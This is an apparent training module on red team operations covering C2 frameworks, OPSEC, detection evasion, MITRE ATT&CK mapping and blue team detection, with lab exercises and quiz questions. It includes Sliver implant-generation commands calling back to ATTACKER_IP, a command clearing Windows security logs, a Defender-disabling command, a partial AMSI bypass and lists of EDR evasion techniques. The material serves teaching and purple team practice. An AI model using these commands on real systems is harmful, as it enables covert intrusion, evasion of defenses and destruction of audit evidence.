Red Team Operations & OPSEC
Understand advanced red team operations — simulating sophisticated adversaries with C2 frameworks, OPSEC techniques, detection evasion, and adversary simulation using MITRE ATT&CK.
Learning Objectives
- → Differentiate red team operations from standard pentesting
- → Understand C2 (Command & Control) framework architecture
- → Apply OPSEC techniques to reduce detection during engagements
- → Use MITRE ATT&CK framework for adversary simulation planning
- → Understand blue team detection and how to challenge it
Red Team vs Penetration Test
Penetration Test:
- Time-boxed (1-2 weeks)
- Known to security team (coordinated)
- Goal: find all technical vulnerabilities
- Scope: specific systems/IPs
- Report: list of vulnerabilities + fixes
Red Team Operation:
- Extended duration (weeks/months)
- Often unknown to defenders (only C-suite aware)
- Goal: simulate a specific threat actor
- Scope: entire organization (including people)
- Report: detection gaps, incident response effectiveness
Red Team asks: "Could a sophisticated attacker achieve [objective]?"
Pentest asks: "What vulnerabilities exist in [scope]?"
Objectives:
- Exfiltrate the crown jewel data
- Achieve persistence for 30 days undetected
- Access the CEO email without triggering any alert
- Pivot to OT/ICS network
C2 (Command & Control) Frameworks
C2 Framework provides:
- Persistent access management (agent/beacon calls home)
- Task scheduling (run command at next check-in)
- Traffic obfuscation (HTTP/HTTPS/DNS)
- Evasion features (in-memory execution)
- Team collaboration (multiple operators, shared sessions)
- Post-exploitation modules (privesc, lateral movement)
C2 Architecture:
Operator -> C2 Server (Team Server) -> Redirectors -> Compromised Hosts
|
Domain Fronting / CDN
Redirectors: hide the real C2 server
- Nginx proxy pass
- AWS CloudFront
- CDN (Cloudflare)
- Makes C2 traffic look like legitimate web traffic
Cobalt Strike
Cobalt Strike:
- Commercial C2 (licensed, $3,500+/year)
- Industry standard for red team operations
- Beacon: implant that beacons back to team server
- Malleable C2: customize HTTP traffic patterns
Concept:
- Beacons sleep (check in every 60 seconds, not constant)
- Beacons communicate over HTTPS to the team server
- Traffic profiled to look like legitimate CDN traffic
Note: Cracked versions used by actual threat actors — detect via YARA rules
Sliver (Open Source)
# Sliver: open-source C2 framework by BishopFox
# Free, actively maintained, similar features to Cobalt Strike
# Install:
curl https://sliver.sh/install | sudo bash
# Start Sliver server:
sudo sliver-server
# Generate implant:
sliver > generate --http ATTACKER_IP:443 --save implant.exe
# Or: --mtls (mutual TLS), --dns (DNS C2)
# Listen for connections:
sliver > https
# After victim executes implant:
sliver > sessions # list sessions
sliver > use SESSION_ID # interact
sliver > whoami
sliver > shell # OS shell
sliver > upload/download # file transfer
sliver > socks5 start # SOCKS proxy for pivoting
OPSEC (Operational Security)
OPSEC in red teaming: minimizing forensic artifacts and detection probability
Key principles:
1. Assume you're being watched — act as if Blue team sees everything
2. Use legitimate-looking infrastructure
3. Limit footprint: delete tools and logs
4. Blend in with normal traffic patterns
5. Understand what generates alerts (EDR, SIEM rules)
Practical OPSEC:
- Use separate attack infrastructure per engagement
(burn IPs/domains, never reuse across clients)
- Timestamp attacks to business hours (look like employees)
- Use named pipes vs TCP connections for local movement
- Clear Windows event logs: wevtutil cl Security
- Delete tools from disk (use in-memory execution instead)
- Avoid obvious tool signatures (mimikatz.exe → rename)
- Use Living-Off-the-Land (LOLBAS) techniques
Detection Evasion Techniques
Antivirus Evasion:
1. Obfuscation: change variable names, strings, structure
2. Encryption: encrypt shellcode, decrypt at runtime
3. In-memory execution: never touch disk
4. Process injection: inject into legitimate processes (explorer.exe)
5. Signing: sign with trusted (stolen) code signing certificate
EDR Evasion:
1. API unhooking: remove EDR hooks from NTAPI calls
2. Direct syscalls: call kernel directly, bypass EDR
3. ETW patching: disable event tracing
4. AMSI bypass: patch Antimalware Scan Interface in memory
Defender Bypass (PowerShell):
[System.Net.ServicePointManager]::SecurityProtocol = 3072
Set-MpPreference -DisableRealtimeMonitoring $true (needs admin)
# AMSI bypass (PowerShell memory patch — educational):
# [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
Note: These techniques are for authorized testing only.
Using them against systems without authorization is a crime.
MITRE ATT&CK Framework
MITRE ATT&CK: knowledge base of adversary tactics, techniques, procedures (TTPs)
URL: https://attack.mitre.org/
Structure:
14 Tactics (why):
- Reconnaissance, Resource Development, Initial Access
- Execution, Persistence, Privilege Escalation
- Defense Evasion, Credential Access, Discovery
- Lateral Movement, Collection, Command & Control
- Exfiltration, Impact
Techniques (how) — hundreds of specific methods under each tactic
Example mappings:
- T1566.001: Spear Phishing with Attachment (Initial Access)
- T1055: Process Injection (Defense Evasion / Privilege Esc)
- T1078: Valid Accounts (Persistence / Lateral Movement)
- T1059: Command and Scripting Interpreter (Execution)
- T1003: OS Credential Dumping (Credential Access)
Usage:
Red Team: plan attacks using specific ATT&CK techniques
Blue Team: map detections to ATT&CK to find gaps
Purple Team: both sides collaborate — red does technique, blue checks detection
Blue Team Detection
What good detection looks like:
SIEM Rules:
- Alert on: new local admin accounts created
- Alert on: WMI execution from non-admin users
- Alert on: PowerShell with base64 encoded commands
- Alert on: LSASS access from unusual processes
- Alert on: lateral movement patterns (many failed logins)
EDR Detection:
- Process tree anomalies (Word spawns cmd.exe)
- API call sequences (common in shellcode injection)
- Memory anomalies (executable regions in unexpected processes)
- Network connections from unusual processes
Purple Team:
Red executes ATT&CK technique → Blue checks if alert fired
If no alert: Blue improves detection rule
This iterative process builds detection capability
Red Team Report
Red Team Report differs from pentest report:
- Tells a story (narrative of the attack chain)
- Focuses on detection gaps, not just vulnerabilities
- Includes: attack path, dwell time, data accessed
- Shows what the Blue team saw (and missed)
- Recommendations: detection improvements, not just patches
Key metrics:
- Time to initial access
- Time to domain admin
- Dwell time (how long undetected)
- # of alerts triggered vs # of actions taken
- Data exfiltrated (simulated)
Map techniques from this course to MITRE ATT&CK: (1) open attack.mitre.org and find the 14 tactics, (2) map each lesson technique to an ATT&CK technique ID: Kerberoasting, Pass-the-Hash, Responder, WPA2 handshake capture, privilege escalation via sudo, social engineering/phishing, (3) use ATT&CK Navigator (attack.mitre.org/resources/attack-navigator) to create a heat map of the techniques you've learned, (4) identify which tactics are covered and which are not.
What is the MITRE ATT&CK tactic ID for 'Credential Access'?
Why is MITRE ATT&CK valuable for both red and blue teams?
Research and compare C2 frameworks: (1) read Sliver's documentation and understand: session types, protocol options, implant generation, (2) understand Cobalt Strike's Malleable C2 profiles (what they do, why HTTP traffic needs to be customized), (3) set up Sliver server and generate a test implant (use in isolated lab only), (4) analyze: what logs and artifacts does running an implant create? (5) how would a SOC analyst detect the C2 traffic?
What is a C2 beacon's sleep/jitter setting?
Conduct a purple team exercise: (1) red role: execute a Kerberoasting attack against a lab domain, (2) blue role: check Windows Security event logs — Event ID 4769 (TGS requested) spikes for service accounts, (3) create a SIEM rule (pseudo-code or Splunk syntax): alert when >5 TGS-REP requests for service accounts in 60 seconds, (4) document: what artifacts did the attack create? what logs, (5) repeat with AS-REP roasting: what logs does that create?
What Windows Event ID indicates a Kerberos TGS was requested?